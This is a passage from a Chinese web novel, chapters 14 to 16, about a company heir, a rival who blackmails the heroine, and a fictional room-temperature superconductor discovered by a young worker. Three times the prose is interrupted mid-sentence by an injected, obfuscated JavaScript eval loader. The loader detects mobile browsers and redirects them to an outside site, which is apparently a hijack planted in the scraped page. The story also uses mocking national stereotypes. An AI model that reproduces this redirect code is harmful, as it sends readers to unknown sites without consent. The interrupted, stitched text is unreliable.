14 章 不用说,这条陌生信息的发件人显然就是女主林晚晚。 楚辞舟这才想起来,之前林晚晚给他打过电话,看样子是想找他求助,只不过被他无视了。 所以现在这又是什么意思? 她准备走去哪? …… 林晚晚第一次被舟哥哥挂了电话,难以置信又忍不住害怕担心,不由得开始胡思乱想。 舟哥哥竟然挂了她的电话……舟哥哥从来不会这样的! 这么多年,舟哥哥对她一直是问寒问暖,呵护备至,宝贝一样捧在手里,含在嘴里,可说是千般温柔,万般迁就。 不管她说了什么、做了什么,舟哥哥都全盘支持,就算她恋爱后总患得患失,一遇到不顺就立刻跑去向对方诉苦,不分白天黑夜地打电话给对方煲电话粥,对方也不会露出哪怕一点不耐烦的神色,甚至还会好脾气地将肩膀借给她,给她安慰。 这样的舟哥哥,这样温柔包容,承诺会爱她宠她一辈子的舟哥哥,为什么突然就不要她了呢? 林晚晚越想越觉得伤心,忍不住哭了。 她从来没有觉得自己如此无助过。 直到现在,她才发现原来自己从前的衣食无忧,鲜花着锦,烈火烹油,全都是建立在楚辞舟对她的宠爱和庇护上。 而当他把这一切都收回的时候,她竟然……一点办法也没有。 林晚晚的眼泪掉得更凶了。 为什么啊? 她的舟哥哥曾经是那么温柔,那么一心一意的一个人,为什么说放弃她就放弃了呢? 林晚晚哭得打嗝,但与此同时,一个妩媚干练的身影也乍然浮现在了脑海中。 ——艾达! 是了,一定是艾达! 那天看见她,她就觉得这女人不简单,故意穿得那么那个,生怕别人看不出她的好身材似的…… 想到这里,林晚晚恍然一惊:她懂了! 她这是遇上了所谓的事业婊了啊! 先是故意隐藏自己,然后在男人正牌女朋友疏忽大意的时候展现出自己与对方不同的能干和贴心,以此吸引男人的注意力,然后施展女性魅力,彻底夺走男人所有的关注和耐心! 林晚晚越想越觉得就是这么回事,不由得连哭都不哭了,抹掉眼泪就开始对镜梳妆。 不行,她不能让舟哥哥被这个伪装得极好的事业婊给骗了,她要去找舟哥哥说清楚,艾达那个女人一看就非常心机对他的目的更是不单纯,她既然是妹妹当然有资格去提醒哥哥,不能让他被那个女人伪装出来的贴心表象给蒙蔽了! 林晚晚飞快地遮掩住红肿的眼睛收拾好自己,看着镜中依旧甜美的身影,想着很快就能见到舟哥哥,心中不知怎的竟生出几分雀跃来。 但期待的她所不知道的是,她打的快车后面,有一拨人跟了上来。 “什么?你说舟哥哥不在?我不信!除非你让我上去看看!” 林晚晚站在前台,拎着精致的驴牌小包包气得双手发抖。 她不敢相信从前一点存在感都没有的小小的前台,现在居然也敢出手拦她下来。 “林小姐,我没骗你,楚总真的不在!”前台虽然收到了吩咐,但毕竟是秘书团层层下达的指令,到了她这里已经经过了好几道转达,她也不能确定这到底是不是老板最终的意思。或许是看在从前老板对她死心塌地的面子上,又或许是担心话说得太死了得罪人被追责,其中一个前台妹子好心透露道,“我刚刚才看见他去了停车场,应该是要出门吧,你现在过去的话……呃,说不定还能追上。” 林晚晚心中一跳,什么也没说就抓起包包飞奔了出去。却不想才刚跑出大门,就被一名西装革履的高大男人拦了下来。 “林小姐。” 莫名其妙冒出来这么个人,林晚晚吓了一跳的同时更是警惕起来:“你是谁?我认识你吗?” 光天化日,西装男人当然不可能对她做出什么奇怪的事。 他只是礼貌地开口道:“我是周总的助理。” “周总?”林晚晚想了想,确定自己认识且只认识一个姓周的,“周昊渊?” “是的。”西装男人微笑着,但眸中却毫无笑意,“林小姐来找楚总是有什么事吗?” “……” 林晚晚看了看停车场的方向,心下不免有些着急。 她想不明白自己过来明明是找舟哥哥,关周昊渊的人什么事? 不过说起来,那天晚上自己去找舟哥哥的时候,周昊渊好像也恰巧在场? 还有那天,在华工大校门口,自己看见舟哥哥的时候,这人好像也在?还坐在舟哥哥旁边? 再往前想,好像还有很多这个人缠着舟哥哥的场景…… 这个周昊渊,到底想干什么?!!! 停车场的车走了一辆又一辆,林晚晚气急败坏道:“我找舟哥哥干什么都不关你事,我现在要去停车场,你让开!” 然而西装男人却并没有按她说的让开,反而从兜里拿出了一张纸,不紧不慢地打开,道:“的确不关我的事,但我想有人应该会对这个很感兴趣吧。” 林晚晚烦不胜烦,敷衍地往那张纸上一扫,却是心头大动:那张复印件上竟赫然是她之前在医院做b超检查的结果单! 迟易轩现在还不知道自己已经有了孩子的事,林晚晚也没打算告诉他。她只是想来找舟哥哥商量接下来该怎么办而已,为什么这群人一定要拦着她? “你……?” 林晚晚惊疑不定:“你怎么会有这个?你……不,周昊渊他到底想干什么?” 西装男人笑了笑,将那张纸又慢条斯理地收起来:“林小姐不必担心,虽说我们的确是偷偷复印了你的单子,但我们对你和你的孩子并没有什么恶意,我们只是希望林小姐不要去打扰楚总而已。只要林小姐愿意承诺不打扰楚总,那么这些东西就不会出现在它不应该出现的地方。” 林晚晚:“……” 林晚晚不敢置信道:“你这算是在威胁我?” 西装男人:“林小姐要这么想,我们也不否认。” 林晚晚胸口起伏良久,好不容易才冷静下来道:“这也是周昊渊授意的吗?” 对此,西装男人没回答,算是默认了。 林晚晚又气又急,破罐破摔道:“那你就去告诉他(迟易轩)好了!不管怎样,我今天一定要见到舟哥哥!” 她说完脖子一梗就要往外硬闯。 这时,更多黑衣人从不显眼的地方走了出来。 林晚晚:“……” 林晚晚不敢相信自己一个弱女子身边竟然埋伏了这么多人!难道他们一直在监视自己吗?这个周昊渊,未免也太看得起自己了吧! 想到自己的一举一动竟然被这么多人看管着,林晚晚不由得毛骨悚然:“你、你们知不知道这样是犯法的?你、你们阻止我和舟哥哥见面,到底想干什么?” “我们也只是拿钱办事而已,”西装男人已经不知何时收起了笑容,“林小姐如果有了决定,尽可以带着肚子里的孩子离开。否则,我们不介意将你和孩子的事捅到迟家。” 迟家……? 这次林晚晚犹豫了。 她不敢赌。 迟易轩是私生子,在迟家的处境本来就不好,而且听说老爷子最近快不行了,留下遗嘱要将一半的股权补偿给他。 对此,迟家的当家主母自然坐不住,几个继承人更是在到处找他,要找他的麻烦。现在如果知道他有了孩子…… 林晚晚摸了摸自己现在还很平坦的肚子。 这是她的孩子,她短暂又灿烂的爱情的结晶,如果要让她打掉孩子……她做不到的。 林晚晚立在原地,心里挣扎又纠结。 她真的很想见到舟哥哥,从来没有哪一刻比现在更想。 可是,见,孩子的生命会受到威胁;不见,等这些监视她的人撤走以后,或许她还能找到机会也说不定。 林晚晚心里有了抉择,眼泪却忍不住扑簌簌地掉下来:“好,我走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589341|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但你们至少允许我给舟哥哥发个信息。” “可以,但是必须在我们的监督下。”西装男人拿出自己的手机。 就这样,林晚晚发出了最后的两条信息。 一条是:【舟哥哥,我走了。祝你幸福。】 还有一条是:【小心周昊渊!】 周昊渊惊醒过来的时候,已经是下午了。 病房里静悄悄的。 空调送出的凉风刚刚好。窗帘也拉在最适合补眠的位置。可他却一丝困意都没有了,猛地坐起身。 从闭上眼睛到睁开眼睛的这段时间,周昊渊感觉自己像死过去了,眼前一点声音和画面也没有。那感觉就好像被人推了一针麻药,大脑陷入了一片完全无解的空白。等你醒过来时,一种强烈的失控和恐慌感接踵而来。 周昊渊从来没有经历过这种空白。 他向来以自己对身体的掌控力为傲——就算在睡着的时候,他也可以控制并使用一小部分脑细胞,继续替自己留意周边的事物,或者对手头未完成的项目进行一个头脑风暴。 因此,他就算睡着也能进行一定的思维,甚至更加迸发灵感——这也是他常常让人感到不可思议的工作效率的根本原因。 可就在今天,他第一次完全失去了对大脑的掌控,这让他感觉到了一种巨大的恐慌。 他睡了多久?这期间发生了什么?还有,楚辞舟呢?他又不见了是吗?! 大脑在一瞬间向他抛出了无数令他恐惧的问题,周昊渊呼吸急促起来,神色绷紧,正要下床,却听见一把熟悉的嗓音响了起来。 “醒了?” 这声音一如往常,温和中带着一丝令人放松的独特的安全感。 “楚辞舟……” 紧绷的神经蓦地放松,心里也好像有什么在不受控制地小声庆幸鼓舞起来,周昊渊抓紧的指尖松懈又抓紧,目光缓慢又迫不及待地捕捉到了某一个固定的点。 这个点里只包含着一个人。一个朗月清风般的人。对上他的目光,这个人朝他露出一个温熙和煦的笑。 仿佛有阳光透过树荫一般,周昊渊深吸一口气,沉浸的同时心中又浮现出一丝惋惜。 可惜了,这个笑容。 为什么,不能是独属于他一个人的呢…… 意识到自己的想法有多危险后,周昊渊不由掐了掐手心,强迫自己转移注意力道:“几点了?” 房间里暗暗的,只开了一盏阅读灯,也正是因此,楚辞舟并未捕捉到这丝一闪而逝的危险。 他按下对方想要起床的想法,转身向冰箱走去:“不急,才下午两点半。你都这么久没合眼了,多睡一会儿才能恢复体力。” 他说完打开冰箱,取出保温桶将里面的东西一勺勺舀进碗里,然后放进微波炉里打热:“尝尝吧,你最喜欢的板栗鸡汤,我妈做的。” “你怎么……”知道我喜欢吃伯母做的板栗鸡汤? 周昊渊话说到一半便停了下来,看着手里香喷喷黄澄澄的鸡汤,心里说不出是什么感觉。从前的楚辞舟什么都好,就是从来目光都不在他的身上。现在的楚辞舟简直就是理想中的完美状态,如果……如果…… 如果是他的……就好了…… 周昊渊眼睫微颤,把如果后面的几个字嚼碎咽进肚子里。 不行,还不行……忍耐……克制……平静…… 周昊渊想象着自己头上反复播放着这几个字,勉强把滚烫的思绪调整到平和状态。 楚辞舟:“?” 楚辞舟看着他仇人一样对着那碗鸡汤咬牙切齿,不禁有点自我怀疑:“怎么了?你不喜欢?” 周昊渊:“……” 周昊渊:“不,很喜欢。我只是……太高兴了。” 楚辞舟:“……” 楚辞舟看着他:“确定是高兴吗?” 怎么感觉这几个字说得咬牙切齿的? 周昊渊面不改色:“是啊。是高兴。楚总那天晚上在车上说的话都是真的,我很高兴。” 15. 第 15 章 那天晚上? 楚辞舟想起来那天晚上自己都说了些什么了。 他说自己和以前已经不一样了,他能记住自己所说的每一句话;他还说朋友之间应该相互信赖,相互坦诚,让他不要再压抑自己…… 不过后来是不是有点坦诚过头了! 楚辞舟扶额。 如果早知道是这么个坦诚法,他就应该好好考虑一下措辞的! 冷不丁一个声音插进来:“楚总在想什么?” 楚辞舟:“……” 楚辞舟:“没什么。你要再来一碗吗?我去盛。” 说完,他接过对方手里已经空掉的碗,打开冰箱,重新盛好一碗放进微波炉里打热。 他上一次这么照顾人,似乎还是对待林晚晚的时候。 ……不对! 不对不对! 周昊渊摇了摇头,甩掉脑子里突生的念头。 这种时候,他到底是为什么要去想那些扫兴的东西! 但是人有时候就是这样,越是去努力控制,就反而越是忍不住往那方面去想。 于是楚辞舟端着鸡汤回来的时候,对上的就是周昊渊浑身黑气,怨念的眼神。 楚辞舟:“?” 又怎么了这是???! 周昊渊勉强压制住浑身的杀气,仰起头,一本正经地向楚辞舟提出诉求:“比起这些,我更希望楚总能安慰一下我。” 安慰? 楚辞舟不解地扬了扬手里的鸡汤:“我不是一直在安慰你吗?照顾也是安慰的一种。” 周昊渊不赞同地双手抱胸,生气道:“不够。我这回可是被楚总吓惨了。” 这话是认真的。 他是真的怕。 楚辞舟这个事故体质,本来自己有了上辈子的经验,都已经恨不得随时把他栓在身边了,这人竟然还能当着他的面去搞什么英雄救美,简直恨不得干脆拿把刀子往他心上插! 周昊渊有怨气,他真的不想再看见楚辞舟那样毫无生气地躺在自己眼前了。 好吧。 楚辞舟忍不住又幻视了熊孩子,并根据自己多年哄孩子的经验顺毛道:“那摸摸头行吗?” “…………” 想到可以被那双手摸头,周昊渊咽了咽喉咙,竟然可耻地有些心动。 但他犹觉得不够,冷傲地哼了一声。 “那,抱一下?”楚辞舟道。 “……” 这回可不只是心动了,周昊渊简直期待了起来! 不等他反应过来,抱在胸前的手已经不知何时自己放了下来,抵在唇上假咳了一声,同时挺直腰板,上身微微前倾,矜持却又迫不及待地将自己向对方怀里送过去。 这一连串貌似隐蔽的小动作看在楚辞舟眼里就和监考老师在讲台上看考生一样一目了然,差点没让他笑出声来。 男人心理学果然等同于儿童心理学,再冷酷的霸总也总有他孩子气的一面。 周昊渊感受到了一个带着温暖气息的怀抱。这气息不像香水那样刻意,但和煦温暖,像太阳。 那种温暖,会让人觉得心里没有阴影,好像周身的冷意都快被融化了一样。 周昊渊深深地吸了口气,内心长久以来累积的焦躁不安渐渐被抚平下来。 但与此同时,又有种不满足的感觉逐渐滋生出来。 这样还不够,根本不够。楚辞舟还是太温柔了,应该再抱紧一点,再紧一点…… 不知道什么时候周昊渊已经自己伸出了手,刚要环住楚辞舟加深这个拥抱,谁知道还没来得及动作呢,病房的房门先一步被人敲响了。 “谁啊?” 听见声音,楚辞舟转过头,收回了在他背后轻轻拍抚的手,走向门边。 周昊渊:“…………………………” 周昊渊浑身怨念。到!底!是!谁! 谁!这!么!不!长!眼! 于是周昊渊的助理进门,看见的就是一个浑身黑气的老板。 忽然身上发寒的助理:“……” 糟糕,我是不是打扰到了什么? …… 楚辞舟猜到这次周昊渊的助理过来大概是说保密项目的事,找了个借口从病房出来。 果然,没过多久,周昊渊就匆匆离开了。 楚辞舟微笑挥手,目送他一脸郁闷地匆匆离开,转身回病房用自带的浴室洗了个澡,收拾一番,准备出院。 刚洗完坐在床上给艾达发了个消息,忽然又听见有人敲门。 楚辞舟有些纳闷:怎么搞的,他这儿还成热线了? 楚辞舟丢开擦头发的毛巾,起身正要开门,就见房门已经被一个带着殷切笑容的中年人嘿嘿讪笑着推开。 这人提着果篮,抱着鲜花,偷感十足地讪笑着推开了门,看见坐在床上的他,不由精神为之一振,小跑着来到病床前殷勤地道:“楚总,您醒了啊?真是太好了!不知道您还记不记得我?我是氧气厂的负责人!张全安!” ……张全安? 楚辞舟当然记得了。 这不就是欺负庄招娣的那货吗?身为厂长却欺压工人不说,竟然还放任吊车司机违反原则操作,酿成了那么大的安全事故! 没想到他还没腾出手去找他呢,这人倒自己找上门来了! 楚辞舟倒想看看他到底要干什么,索性便没出声,只是继续坐在床上刷着手机。 张全安吃了记冷脸,也不尴尬,将手里的鲜花和果篮递上来,殷勤而讨好地搓着手点头哈腰道:“楚总,不好意思啊!老刘他年纪大了,老眼昏花,没认出您来,您见谅,见谅哈。” 这话避重就轻了个十成十,楚辞舟微微一笑,抬眼看他。 张全安对上他的笑容,心里却是一凛,这笑意根本不达眼底,面上看似是和风,实际却是寒冰,十足的笑面虎一只啊这是! 张全安脑子里滴溜溜转,将自己先前所犯的所有错事全部想了一遍,告饶道:“楚总,这次的事故,厂里已经开过反思大会了!强调了安全生产‘十不吊’原则,也对当事的吊车司机进行了辞退处罚,您看……您还有什么指示?” 张全安真的汗流浃背了。 他是真的点儿背啊!顶头上司来检查,自己没有收到一点儿风声不说,居然还当着顶头上司的面,折腾出了那么大的一起安全事故!最惨的是,这事故居然还差点砸到顶头上司本人! 他当时就腿软了—— 自己这顶乌纱帽指定是保不住了啊! 张全安真心实意地后悔了,后悔自己怎么那么点儿背!要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589342|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是时间能再重来一次的话,他肯定不会在那个时间那个地点教训庄招娣那个小妮儿!那小妮儿简直就是他张全安的灾星!一家子都是! 张全安懊恼道:“楚总,我知道您生气。您这么金尊玉贵的身体,要是真出了什么好歹,把我张全安这条贱命拿去都不够赔的!但是,您看在我为厂子尽心尽力三十六年的份上,能不能给个将功折罪的机会?” 他说得痛哭流涕的,似乎都恨不得给跪下了,楚辞舟忽然将视线从手机上移开,微微一笑道:“嗯,你说得没错。你这条命的确是不够赔的。” 听见这话,张全安“啊”了一声,不禁有些傻眼。 不是,这件事虽说的确是他有错在先,可楚辞舟这口气,未免也太狂妄了吧? 什么叫的确不够赔的,信不信这种话要是放在网上,可是能让他被嘴毒的网友们喷好一阵子的! 张全安忽然有点后悔自己居然没把这段录上。 楚辞舟不紧不慢道:“怎么?你还不服气吗?我们两条命,而你张全安只有一条命,当然不够赔的。” 又一针见血道:“还是说,你觉得你是个高贵的厂长,而庄招娣只是个普通的工人子女,你就瞧不起她,自动将她的命给无视掉了?” “不不不……当然不是了!我怎么会有这样的想法呢?我没有!” 张全安一下子就慌了。 糟糕,还真被他说中了! 那天出事后他一心只忧愁着楚辞舟这条金贵的少爷命若是追究下来他可担待不起,却压根就没想起庄招娣这样的普通工人子女的命也是命!原来放在网上要挨网友们唾沫星子的人,是他! 楚辞舟道:“无所谓,反正你的任免报告很快就会下来。还有,今后庄招娣就不会再回你那去了。鉴于她勇于挑战,敢于创新,成功发现未知超导金属并命名为‘钅庄’,总部将特聘她为楚氏超导材料小组的特聘工程师,今后还会陆续从钢铁厂调拨人手,按照她的方法提纯炉渣并对其方法进行实验改进,直到量产超导金属‘钅庄’。” 张全安:“……” 看着张全安惊讶到合不拢嘴的样子,楚辞舟贴心地为他补上最后一击:“对了,我还给她联系了一中市重点。你不是看不起她只是个中专生吗?现在只要她通过入学考试,就可以去读一中,考好大学了。” 说完,他笑眯眯地错开张全安走向门边,门外正站着刚办好了出院手续,上来接他回公司的艾达和庄招娣。 张全安目瞪口呆地看着这明显已经关系很好的两个人,想不明白为什么庄招娣这种其貌不扬的丫头片子能得到上层重视。 对上他疑惑中又带着不忿的目光,艾达冲他微微一笑,庄招娣则是紧张地朝他鞠了个躬。 张全安:“…………” 这是干嘛?死丫头这是在讽刺他吗! 艾达看见,恨铁不成钢地给了她一记爆栗,训孩子似的口吻:“庄招娣!姐有没有告诉过你,女孩子不要太老实了!有礼貌的确是种好品德,但也要看看对方的品德配不配得上你的礼貌,懂吗?” 庄招娣吓得缩着脖子连连点头,看起来又怂又乖。 楚辞舟笑了,忍不住伸出手摸了摸她的头,对艾达道:“孩子被教得太懂事了,艾达,看样子咱们今后的路还很长啊。” 16. 第 16 章 2024年7月7日,全球材料学界的bigday。 位于马萨诸塞州的MIT实验室负责人约翰逊凌晨接到电话。 彼时约翰逊才刚睡下不到一个小时,接起电话时满肚子的不耐烦:“拉杰姆,你最好有事。” 拉杰姆是他的助手,印度人,平日里总是咋咋呼呼的,但基本的分寸还是有的,不会在这种时间给他打电话。可今天,拉杰姆那见鬼的尖叫声根本停不下来:“天呐,你知道吗?米斯特约翰逊先生,地球那边,发生了一件不得了的大事!” “什么不得了的大事?能有我睡觉重要吗?”约翰逊怒气冲冲道,“上帝啊,拉杰姆,你要是再尖叫一下,我发誓我明天一定会将我八十磅的大拳头塞进你的嘴里。” “噢,好的先生,请允许我平复一下情绪,”拉杰姆深呼吸道,“上帝啊,米斯特约翰逊先生,我的邻国,东方大国发生了一件不得了的大事——他们的其中一个小姑娘在natural上发表了一篇论文,发现了超导体,‘钅庄’!” “超导体?那有什么值得你大惊小怪的?”约翰逊连眼睛都懒得睁开,道,“我以为你的常识可以让你明白,早在1911年,人类科学家就已经发现了超导现象呢。” “可是先生!”拉杰姆咋咋呼呼道,“我知道超导现象的确是早就发现了没错,可华夏人他们发现的不是普通的超导啊!它是常温超导,常温!先生!” “什么?!!!!!” 约翰逊嘭地一下坐起来。床面被他巨大的体重震得一晃。 他熟睡中的小妻子被吓醒,睁开碧蓝的眼睛抱怨道:“上帝啊,约翰逊,你可真是吓了我一跳!” 约翰逊抬起手,对他可爱的小妻子道:“抱歉玛丽,我实在太惊讶了。” 说完,他顾不上再安抚自己新娶回来的漂亮娇妻,转而对电话那端道:“拉杰姆,你再说一遍?” 拉杰姆终于得到了意想之中的反应,深吸口气,用一种略带荣耀、与有荣焉般的语气说道:“米斯特约翰逊先生,常温超导。他们发现了一种电阻为0的理想导体,而且据说目前只有华夏华城的铁矿中才具备这种超稀有金属的生成条件。上帝啊,这运气,为什么会落在华夏人头上?这实在是太不可思议了!” 是啊,为什么这样的好运气会落在华夏人头上? 约翰逊不可思议地怔愣了好几秒钟,在自己胳膊上掐了一把。居然不是做梦。 “不妙。”他说。“不妙。” 自言自语地接连说了好几个不妙后,他挂断电话,在手机界面中翻找起来。 “史密斯?你听说了吗?地球那边发生了一件不得了的大事!” …… 相似的对话,在不同国家、不同语言、不同实验室的科研人员中一遍遍重复。 以“不得了的大事开头”,以“不妙”结尾。 尤其是同领域的超导材料实验室。采用超过350GPa的高压手段制备同为常温超导体“金属氢”的漂亮国实验室,研究用强红外激光脉冲照射将稀土氧化物陶瓷材料转变为高温超导体的汉斯实验室,以及倡导铁基超导才是正途的脚盆实验室。 现在这些科研人员所关注的问题,不约而同地变成了同一个—— 金属“钅庄”是什么? 如何提炼? “钅庄”在地球上的储量究竟有多少?能够量产吗(划重点)?哪些国家可以制备? …… 楚辞舟感觉最近自己的手机有点炙手可热。 Emmm,物理意义上的炙手可热。 世界各地打来要求合作的、求购(哪怕1mg样品也行)的、呼吁楚氏上市,他已经准备好了钱包的。 有一个算一个,楚辞舟统统拒绝了。 开玩笑!这些小虾米算什么?他的目标是——考编!只要有了国家抛出的橄榄枝,他想要什么样的顶级人才没有? 有了人才,又有了超导的制备专利和楚氏的资金,他要干什么事不成? 果然,他什么也没干,一周不到,国家层面的相关部门就辗转通过孙老的关系联系到了他。 这回考编成功的楚辞舟可是一点儿也不愁了。 倒是被要求投稿的庄招娣有些发愁。 先前被楚辞舟要求投稿时,庄招娣整个人都是懵的。 这还是她第一次写这种东西,一发表就投给顶刊?她感觉自己好像不太行啊!按照卢良栋和孙老等人的指导,修修改改几百遍后,她终于通过了初稿、复稿、终稿,准备开始投递。 但投递之前,庄招娣还是害怕,去楚辞舟办公室叩叩敲门。 楚辞舟倒是轻松,笑嘻嘻道:“无所谓啦,这种级别的发现,就算你的文章是一篇狗屎,他们也会快速通过的。” 他压根就不看内容,只扫了一眼第一作者那栏,皱眉道:“招娣。这个名字不好。” 庄招娣没想到他会说这个,“啊”了一声,有些尴尬。 楚辞舟道:“这种封建糟粕的产物,你不会还很喜欢吧?” 又问:“你就不想自己取一个新名字?” 庄招娣不可思议地指了指自己:“我?自己取?” 楚辞舟笑她:“当然你自己取了,难不成还要我给你取吗?” 庄招娣脸红了红,连忙摆手。 她想了想,低头搓了搓衣角道:“那……那我叫庄慧娴可以吗?” 这三个字,楚辞舟乍一听就已经觉得很好,但为谨慎计,还是详细问道:“哪个hui,哪个xian?你写来我看看。” 庄招娣于是便把这三个字写在了纸上。 【庄、慧、娴】。 楚辞舟抚掌道:“庄慧娴,端庄、聪慧、娴静,这名字很好啊!是谁给你取的?之前怎么不用?” 庄慧娴低下头道:“这是我爸爸给我取的。之前因为我奶奶不让,她说小妮儿就该叫招娣,这样才好给爸爸招个弟弟。” 听到这里,艾达摸了摸她的头,眼中似是有着深深的共情。 楚辞舟心里明白,这又是一个重男轻女的家庭,不由得也有些感慨。 他问艾达道:“对了,她爸爸和张全安是什么关系?” 之前张全安说看在她爸爸的面子上,不追究她消极怠工的责任……楚辞舟总觉得这人不会这么好心。 艾达同他解释道:“十年前氧气厂出过一起事故,被张全安压了下来。她爸爸就是在那起事故中没了的。” 楚辞舟:“……” 楚辞舟脸色难看起来。 良久,他道:“这次张全安的失职问题怎么处理的?” 艾达道:“停职了。” 楚辞舟微微一笑:“停职?太轻了。查查他任期内还存在哪些事故,把苦主都找来,一并给他追究了。细查责任、当时是否做好善后措施,以及此间的人事关系。” 艾达:“好。” 好好好,艾达现在算是弄明白了。 原来自己这老板才是个白切黑啊! 微微一笑什么的,倾不倾城咱是不知道,但咱知道,有些人可是要倒大霉咯! · 继2024年7月华夏宣布发现常温超导体金属“钅庄”后,2025年3月份,楚氏宣布金属“钅庄”的制备工艺改进完成,已经开始量产,全球发布会也将于三月底同步召开。 目前,全球已探明的金属“钅庄”储量大概在63万吨左右,主要分布于华夏华城,以及新疆,内蒙等地,占全球储量的85.9%。 其他国家已探明的金属“钅庄”约9万吨,主要集中于中亚地区。巴勒斯坦、叙利亚、阿富汗、塔吉克斯坦、吉尔吉斯斯坦、塞尔维亚等地均有分布,但极为零散。 以这几个国家的国家实力来说,塞尔维亚是唯一有希望成为第二大超导生产国的国家,但目前为止,全球范围内,唯一有条件实现量产的,就只有华夏。 得知这一消息的全球材料学界以及相关工业企业的高层人员,心理几乎都是崩溃的。 尤其隔壁某小岛国,脚盆国。 “□□人真的是太阴险了,才八个月就搞出了金属“钅庄”的量产工艺,简直一点不给人留机会!” 松本化工的材料实验室中,一名名叫吉田三郎的实验人员愤愤地说。 “吉田君,别那么义愤填膺嘛,咱们就是想有机会,也没办法啊!”另一名名叫佐藤伊甸的实验人员道,“谁让‘钅庄’元素目前就只有那么几个地方有呢!” “这就是我说的,不公平的地方所在啊!”吉田三郎愤恨道,“为什么所有的好事都让□□人摊上了?而我们脚盆人却要被束缚在这座小岛上!” 这个问题,佐藤伊甸也没办法回答。 要不为什么脚盆国一直想侵略□□呢?实在是□□人的老祖宗太会选地方! 与此同时,大洋彼岸的另一端,我们的老朋友约翰逊也发出了同样的感慨:“上帝啊!这是什么该死的坏消息!全球储量才63万吨,华夏就占了54万吨?这是一点都不给我们美利坚留啊?!该死的……拉杰姆,马上给我向华夏申请发布会名额!我要带顾问团参会!” 就这样,申请参加发布会的人数一路飙升,以至于楚氏不得不提高发布会规格以及参会门槛,每个机构只能携带不超过两名科研人员。 但即便是这样,发布会现场还是被政府高官、科研人员、媒体记者等各色人物挤满了。 在主持人简短的介绍后,楚辞舟笑意吟吟地上了台。 “女士们先生们,感谢各位来参加我们的发布会。讲解开始前,我要先声明一件事情:其实‘钅庄’的发现者并不是我,而是我们的——庄慧娴女士!只是,我们的发现者有点害羞和谦虚,因此,作为她的兄长以及上司,请允许我代替她向各位尊贵的女士们和先生们进行报告。” 他浅笑着,指向台下的庄慧娴,镜头聚焦,露出小姑娘依旧羞涩但已经比一年前沉稳了许多的脸。 现在的庄慧娴已经是市一中的学生,同时也是楚氏特聘的技术指导,虽然还没上过大学,但人家名义上已经是“专家”了。 什么?这么年轻?还是个女的! 不少人还是第一次见到这个传说中的超导发现者,台下一时议论纷纷。 楚辞舟没有一笔带过,而是带头鼓起了掌。 台下的外国专家们也反应过来,对这个年轻的中国女性致以敬意。 自庄慧娴在natural上发表了一篇简短的报告性论文,向全球宣布了常温超导体“钅庄”的存在后,世界便没有再听到任何有关于“钅庄”的声音。 因此,楚氏此次的发布会,无疑是全球科学界瞩目的一次盛事。 当然,楚辞舟也没有辜负他们的期待,径直拿出了干货,招待这群来访的客人。 他一扬手,在会场巨大的LED屏幕上投射出了巨大的结构示意图,详细介绍了“钅庄”的理化信息,包括导电性、磁性、热学性能、热膨胀、热传导、熔点、比热容等各项数据。 这些数据一放出来,现场的学者和媒体记者,各自都疯狂地举起手中的相机,咔嚓咔嚓地拍摄着这些珍贵的资料。 他们脑海中所想的东西,楚辞舟自然不会不知道。 但没关系,由于国家机器的加入,目前“钅庄”的制备方法已经十分成熟完善,再加上我国在国际上几乎居于垄断地位的储量,其他国家想在制备方式上寻找他们的漏洞并且在此方向上分一杯羹,几乎是不可能的。 他不疾不徐,从容不迫地向在场媒体和学者讲述起来:“报告开始前,请允许我给在座的各位讲个故事。” “1911年,荷兰的物理学家卡末林??昂内斯突发奇想,将实验室中的汞进行了低温冷却。至于他为何突发这个奇想?我们今天已经不得而知,或许,他仅仅只是想看看汞能不能被冻成像水那样的冰块。” 这个故事不错,现场的气氛轻松起来。 楚辞舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但目前楚氏量产的“钅庄”还没开始投入市场,可以说是一钅庄难求,再加上其科学价值,早就已经超过了这个数。因此,就算他们感觉自己屁股上被宰了一刀,却也还是愿意忙不迭地掏这个钱。 现场的状况,怎么说呢,就是群英荟萃。 现场鹰钩鼻子蓝眼睛的老外们就和当年疯狂的国人一窝蜂跑去脚盆家抢马桶盖一样,盛况空前。 约翰逊仗着自己人高马大的优势,抢到了第一份“钅庄”。 他兴奋地挤出人群,朝已经下台、正在和艾达说笑的楚辞舟挤去,高声道:“楚!楚!” 来此之前他从未学过中文,模糊地发了几个“楚”字的音,眼看着对方毫无反应,只好拖着肥胖的身躯一路小跑,终于赶在对方离开之前跑到主席台前。 “米斯特楚!”他在混乱嘈杂的会场中拦住楚辞舟,喘着粗气道,“请留步!” 楚辞舟这才注意到这个身躯庞大,有些谢顶的老外。 翻译不在,他礼貌地用英语问道:“您好,您是?” 约翰逊掏出手绢擦了擦额头,伸手道:“米斯特楚你好,我是MIT实验室负责人约翰逊。” MIT,麻省理工学院。 楚辞舟点点头,伸手与之相握,笑道:“约翰逊先生,请问我有什么可以帮您的吗?” 约翰逊道:“是的楚先生,我想问问您这有没有实验室,如果有的话,是否能够借用一间——当然,我们会付给您借用费。” 